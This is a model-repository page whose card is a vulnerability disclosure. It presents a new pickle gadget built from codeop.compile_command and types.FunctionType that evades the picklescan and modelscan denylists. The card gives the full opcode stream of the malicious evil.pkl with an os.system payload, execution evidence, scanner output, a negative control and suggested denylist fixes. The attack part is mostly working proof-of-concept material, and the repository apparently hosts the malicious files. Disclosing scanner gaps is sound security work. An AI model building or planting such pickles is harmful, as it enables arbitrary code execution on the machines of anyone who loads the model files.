You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

New pickle RCE gadget: codeop.compile_command + types.FunctionType bypasses both modelscan and picklescan

Category: Malicious pickle / model-scanner denylist bypass (arbitrary code execution at deserialization time)

Targets

Scanner Version Environment Result on PoC
picklescan 1.0.5 Python 3.13.12 (/home/kali/hunt-workspace/scan313) CLEAN β€” Infected files: 0, exit 0
modelscan 0.8.8 Python 3.12.13 (/home/kali/hunt-workspace/scan312) CLEAN β€” "No issues found! πŸŽ‰", exit 0

Payload execution and picklescan run natively on Python 3.13.12.

Summary

Both scanners are opcode-denylist based: they inspect only GLOBAL / STACK_GLOBAL (module, name) pairs against a hardcoded unsafe-callable list. This gadget references only callables absent from BOTH denylists β€” codeop.compile_command and types.FunctionType β€” and never emits any GLOBAL for os / system / exec / eval / compile.

At unpickle time the gadget:

  1. calls codeop.compile_command(SOURCE, '<pickle>', 'exec') to compile an attacker-supplied Python source string into a live code object,
  2. wraps it with types.FunctionType(code, {}),
  3. invokes it via a bare REDUCE with ().

The dangerous callable (os.system) exists only inside the plain string literal argument, which the scanners never parse.

Root cause

Both scanners classify globals by matching (module, name) against a static set:

  • picklescan _unsafe_globals lists types: {CodeType} only β€” not FunctionType β€” and has no codeop entry at all.
  • modelscan settings.unsafe_globals lists neither types nor codeop.

Neither codeop.compile_command nor types.FunctionType appears on either denylist, so the whole opcode stream is considered benign. The compilation of the payload happens in-process from a human-readable string that the scanners treat as opaque data.

PoC

Hand-assembled protocol-4 pickle. Files: evil.pkl (also evil.joblib, byte-identical). Generator: gen_poc.py. Negative control: control_os.pkl (classic os.system GLOBAL).

SOURCE = "import os; os.system('id > PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> PWNED_codeop')"

Opcode stream (pickletools.dis(evil.pkl))

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'types'
    9: \x8c SHORT_BINUNICODE 'FunctionType'
   23: \x93 STACK_GLOBAL
   24: \x8c SHORT_BINUNICODE 'codeop'
   32: \x8c SHORT_BINUNICODE 'compile_command'
   49: \x93 STACK_GLOBAL
   50: (    MARK
   51: \x8c     SHORT_BINUNICODE "import os; os.system('id > .../PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> .../PWNED_codeop')"
  251: \x8c     SHORT_BINUNICODE '<pickle>'
  261: \x8c     SHORT_BINUNICODE 'exec'
  267: t        TUPLE      (MARK at 50)
  268: R    REDUCE         # -> code object  (codeop.compile_command(SOURCE,'<pickle>','exec'))
  269: }    EMPTY_DICT
  270: \x86 TUPLE2         # -> (code, {})
  271: R    REDUCE         # -> function     (types.FunctionType(code, {}))
  272: )    EMPTY_TUPLE
  273: R    REDUCE         # -> executes function()
  274: .    STOP
highest protocol among opcodes = 4

Captured evidence (verbatim, live re-run)

EXECUTE evil.pkl on py3.13

### EXECUTE evil.pkl on py3.13 ###
Python 3.13.12
load returned
--- marker file ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
codeop_functype_gadget_executed

picklescan (1.0.5, py3.13) evil.pkl

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
exit=0

The 2 "suspicious" globals are types.FunctionType and codeop.compile_command β€” neither classified Dangerous, exit 0 = clean pass (picklescan only fails/flags on Dangerous globals).

modelscan (0.8.8, py3.12) evil.pkl

Scanning .../evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! πŸŽ‰
exit=0

NEGATIVE CONTROL control_os.pkl (classic os.system GLOBAL β€” both scanners catch it)

picklescan:

.../control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
exit=1

modelscan:

Total Issues: 1
    - CRITICAL: 1
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
exit=1

The negative control proves the toolchain detects the classic gadget; the novel gadget slips through both.

Dedup / prior-art note

  • Distinct from the already-covered marshal + FunctionType + operator.call gadget: this PoC uses no marshal (it ships human-readable Python source compiled in-process rather than pre-marshalled bytecode) and no operator.call (a bare REDUCE invokes the function).
  • The primary novel callable codeop.compile_command has not appeared in any prior published gadget. codeop is not on either scanner's denylist.
  • types.FunctionType is likewise absent from both denylists (picklescan lists only types.CodeType).
  • Not covered by any known CVE against picklescan 1.0.5 or modelscan 0.8.8; both denylists in their current released form omit these callables.

Suggested remediation

Add codeop.compile_command (and the whole codeop module of compile helpers), plus types.FunctionType, to the unsafe-globals denylists. More robustly, treat any callable that can compile/eval a string or construct a function/code object as dangerous, since denylisting individual names is inherently bypass-prone.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support